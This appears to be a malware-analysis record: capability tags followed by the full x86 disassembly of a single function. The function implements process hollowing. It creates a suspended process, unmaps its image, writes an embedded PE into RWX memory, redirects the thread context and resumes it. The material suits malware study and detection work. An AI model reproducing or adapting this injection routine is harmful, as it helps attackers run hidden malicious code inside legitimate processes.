Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
sub esp, 0x70
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x44
lea eax, [esp + 0x3c]
push ebp
push eax
xor esi, esi
mov dword [esp + 0x20], ebp
call fcn.004082c0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esp, 0xc
push 4
push 0x1000
xor eax, eax
push 0x2cc
push ebp
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x50], ebp
mov dword [esp + 0x54], ebp
mov dword [esp + 0x74], 1
mov word [esp + 0x78], 5
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call edi
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x3c]
push edx
push ebp
push ebp
push 4
push ebp
push ebp
mov ebx, eax
mov eax, dword [esp + 0xa0]
push ebp
push eax
push ebp
mov dword [ebx], 0x10007
mov dword [esp + 0x38], ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4010ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], 1
jmp 0x40124a
mov ecx, dword [esp + 0x30]
push ecx
push 0x411c20
call fcn.004051a5
add esp, 8
push 4
push 0x3000
push 0x7000
push ebp
call edi
push 0x7000
mov esi, eax
push 0x411ef8
push esi
call fcn.00408870
mov edx, dword [esp + 0x38]
mov edi, dword [esi + 0x3c]
add esp, 0xc
push ebx
push edx
add edi, esi
call dword [sym.imp.ntdll.dll_ZwGetContextThread]
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push str._08x_n
call fcn.004051a5
mov edx, dword [ebx + 0xa4]
mov eax, dword [esp + 0x30]
add esp, 8
push ebp
push 4
lea ecx, [esp + 0x1c]
push ecx
add edx, 8
push edx
push eax
call dword [sym.imp.ntdll.dll_ZwReadVirtualMemory]
mov ecx, dword [esp + 0x14]
push ecx
push str._08x_n
call fcn.004051a5
mov eax, dword [esp + 0x1c]
lea ebp, [edi + 0x34]
add esp, 8
cmp eax, dword [ebp]
mov dword [esp + 0x20], ebp
jne 0x401155
mov edx, dword [esp + 0x28]
push eax
push edx
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
mov eax, dword [edi + 0x50]
mov ecx, dword [ebp]
mov edx, dword [esp + 0x28]
push 0x40
push 0x3000
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [esp + 0x1c], eax
jne 0x40119f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x28]
test eax, eax
mov dword [esp + 0x10], 2
je 0x401248
push 2
push eax
call dword [sym.imp.ntdll.dll_ZwTerminateProcess]
jmp 0x401248
mov ecx, dword [edi + 0x54]
mov edx, dword [esp + 0x28]
push 0
push ecx
push esi
push eax
push edx
call dword [sym.imp.ntdll.dll_ZwWriteVirtualMemory]
xor ebp, ebp
cmp word [edi + 6], bp
jbe 0x401201
mov dword [esp + 0x18], ebp
mov eax, dword [esp + 0x18]
mov ecx, dword [esi + 0x3c]
add eax, esi
mov edx, dword [eax + ecx + 0x108]
lea eax, [eax + ecx + 0xf8]
mov ecx, dword [eax + 0x14]
push 0
push edx
mov edx, dword [eax + 0xc]
add edx, dword [esp + 0x24]
mov eax, dword [esp + 0x30]
add ecx, esi
push ecx
push edx
push eax
call dword [sym.imp.ntdll.dll_ZwWriteVirtualMemory]
movzx ecx, word [edi + 6]
add dword [esp + 0x18], 0x28
add ebp, 1
cmp ebp, ecx
jb 0x4011be
mov edx, dword [edi + 0x28]
add edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
mov ecx, dword [ebx + 0xa4]
push 0
push 4
push eax
add ecx, 8
mov dword [ebx + 0xb0], edx
mov edx, dword [esp + 0x34]
push ecx
push edx
call dword [sym.imp.ntdll.dll_ZwWriteVirtualMemory]
mov eax, dword [esp + 0x2c]
push ebx
push eax
call dword [sym.imp.ntdll.dll_ZwSetContextThread]
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push ecx
push edx
call dword [sym.imp.ntdll.dll_ZwResumeThread]
xor ebp, ebp
mov eax, dword [esp + 0x2c]
cmp eax, ebp
mov edi, dword [sym.imp.ntdll.dll_ZwClose]
je 0x40125b
push eax
call edi
mov eax, dword [esp + 0x28]
cmp eax, ebp
je 0x401266
push eax
call edi
cmp esi, ebp
je 0x401277
push 0x8000
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret